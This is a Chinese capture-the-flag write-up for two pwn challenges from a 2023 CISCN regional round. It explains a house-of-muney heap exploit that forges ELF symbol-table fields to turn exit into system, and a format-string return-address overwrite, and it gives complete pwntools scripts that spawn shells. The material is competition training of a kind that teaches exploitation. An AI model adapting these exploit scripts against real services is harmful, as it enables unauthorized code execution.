Ciscn2023-华中赛区分区赛-pwn-wp

今年国赛的华中分区赛一共放了两道 PWN ,一个一解,一个零解。零解的是 LLVM PASS PWN ,这个没有研究过,暂且先复现另一个题目(考察的是 house of muney)还有一个 AWD 环节的 PWN (考察的格式化字符串漏洞)

muney

本题没给 libc ,听说远程的 libc 版本为 2.31 9.9 ,我这里用的是这个

保护策略

image-20230630153903673

逆向分析

主函数首先是输入数据,并且将其传入了 sub_4021f3 函数进行处理,不断循环这个过程

image-20230630154203298

sub_4021f3 函数是对各种功能的封装,不过在此之前经过了 jiexi(重命名后)函数对数据的解析处理,这里也是主要来逆向的地方。

image-20230630154341391

jiexi 函数的这个解析规则,可以通过 GDB 动态调试加上 IDA 静态分析来判断出这个函数就是在解析 HTTP 请求头,也就是输入的数据以 HTTP 请求头的格式输入即可。再简单调试一下,观察下哪部分是触发功能的选项以及参数即可,最终得出了规则大概如下(以触发 create 函数为例)

def create(size,content_length,content):
payload="""POST /create HTTP/1.1
Host: 10.12.145.134:50013
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
return payload

create 函数可以申请堆块,而堆块最小为 0x100000 ,这就意味着堆块会直接由 mmap 映射出来,位于内存映射区。

image-20230630155510162

漏洞所在

edit 函数中,首先是获取了两个参数,第一个是索引,第二个则是偏移 offset,在下图的红框部分中可以发现针对偏移 offset 的检查并没有做好,只检查了偏移不能大于申请内存块时的 size ,但是却可以为负(v9int64 类型),这就导致了可以在申请内存块的上方(低地址方向)去写入数据

image-20230630160058576

同时还存在一个 exit 函数,其参数为 /bin/sh

image-20230630163136902

利用思路

我在比赛时考虑的思路是想把 exit 函数的 got 表改为 system ,最后触发即可。但一直苦于没有 libc 地址。当时是向 mmap 映射出来的区域的低地址处写入数据(劫持了 __free_hook ),再用 delete 函数进行触发,也确实是可以任意地址执行,但没有泄露 libc 地址的机会,也就卡死在这里了。

比赛结束后,请教了一下华科的师傅,才知道有 house of muney 这种手法。

原理是这样的:在进行延迟绑定时,解析出符号的真实地址是用 libc 基地址加上符号表中 st_value 字段值获得的,如果能修改 st_value 这个值的话,将其改为 system 函数的 st_value,最终就可以让 exit 被解析成 system。困难在于每个符号的 sym 结构体所在内存区域是只读的,因此要改大内存块的 size,将其释放掉再申请出来,而 malloc 触发的 mmap 出的内存都是可读写的,只要足够大,就可以将符号的 sym 结构体给申请出来进行篡改。

不过为了绕过一些检查,最终能成功进行解析函数真实地址,还需要篡改一些字段。分别是 bitmask_word bucket hasharr st_value

至此,整体的流程如下

  1. 申请一个 0x150000 的内存块
  2. 利用 edit 功能,修改内存 size0x171002 (不能太大,但是太小了又覆盖不到)
  3. 将其释放掉
  4. 申请一个 0x171002 的内存块,之后就可以来在这个范围内地址进行任意写入
  5. 伪造上面提到字段的值
  6. 最后触发 exit("/bin/sh") ,就能够解析成 system("/bin/sh")

需要伪造这几个字段的值写在了 EXP 中,st_name 的后四个字节是 strtab 距离符号名(exit)的偏移量 (不同程序需要调试得到),该字段前四个字节是固定的,bitmask_wordbucket 以及 hasharr 也都是固定的。

EXP

from tools import *
context.log_level='debug'
p,e,libc=load("muney1")



def create(size,content_length,content):
payload="""POST /create HTTP/1.1
Host: 10.12.145.134:50013
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
return payload

def edit(idx,offset,content_length,content):
payload=b"""POST /edit HTTP/1.1
Host: 10.12.145.134:50013
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

return payload

def delete(idx):
payload="""POST /delete HTTP/1.1
Host: 10.12.145.134:50013
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

return payload

def quit():
payload="""POST /quit HTTP/1.1
Host: 10.12.145.134:50013
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
return payload

p.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
p.sendafter("HTTP_Parser> ",delete(0))
debug(p,0x401FFF,0x4021EE)
p.sendafter("HTTP_Parser> ",create(0x171002,16,'a'*16))

#exit@st_value distance mmap_base 0xf00012001a67e5 fake_data 0x1a67e5
#bitmask_word distance mmap_base 0x152b88 fake_data 0xf010028c0201130e
#bucket distance mmap_base 0x152cb0 fake_data 0x86
#hasharr distance mmap_base 0x153d7c fake_data 0x7c967e3e7c967e3f

p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c967e3f)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-0x8,3,b"\x90\x22\x05"))#write data to exit@st_value
#0x1a67e5
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-0x10,3,b"\xe5\x67\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-0x10+6,1,b"\xf0"))#write data to exit@st_name
#因为没办法写入 \x00 的原因,这里的st_name分了多次写入
p.sendafter("HTTP_Parser> ",quit())
p.interactive()

image-20230630184048404

awd_pwn

程序实现了一个 shell ,漏洞位于 echo 中,如果 echo 后面有至少两个参数并且没有 > 的情况下,除去最后一个参数,剩下参数打印时会触发格式化字符串漏洞(如下)

image-20230630221533284

利用思路是打栈链(考察的是非栈上的格式化字符串漏洞),劫持原本返回地址 libc_start_mainone_gadget ,最终输入一个非法命令,退出即可拿到 shell

EXP

from tools import *
context.log_level='debug'

p,e,libc=load("pwn")


def cmd(payload):
p.sendlineafter("$ \x1B[0m",payload)

cmd("echo %29$p a")
p.recvuntil("\x78")
libc_base=int(p.recv(12),16)-0x240b3
log_addr('libc_base')
one_gadget=libc_base+0xe3b31
debug(p,'pie',0x1Ed5,0x2818,0x23C5)
cmd("echo %12$p a")
p.recvuntil("\x78")
stack_addr=int(p.recv(12),16)

libc_start_main_address=stack_addr+0x38

log_addr('stack_addr')
#write 0xe8 to address of libc_start_main
cmd("echo %"+str(libc_start_main_address&0xffff)+"c%31$hn a")
#one_gadget 0xe3b31
cmd("echo %"+str(one_gadget&0xffff)+"c%59$hn a")
cmd("echo %"+str((libc_start_main_address+2)&0xffff)+"c%31$hn a")
cmd("echo %"+str((one_gadget>>16)&0xffff)+"c%59$hn a")
cmd('a')
p.interactive()

image-20230630222938439

题目附件

muney

链接:https://pan.baidu.com/s/18eXF0Y_cE4ooQG50TB_7ig?pwd=flc5
提取码:flc5

awd_pwn

链接:https://pan.baidu.com/s/1F9qv7kqVB5yFbAULPtl_0Q?pwd=1234

提取码:1234

参考文章

GlibcHeap-house of muney - roderick - record and learn! (roderickchan.github.io)

[原创]how2heap深入浅出学习堆利用-Pwn-看雪-安全社区|安全招聘|kanxue.com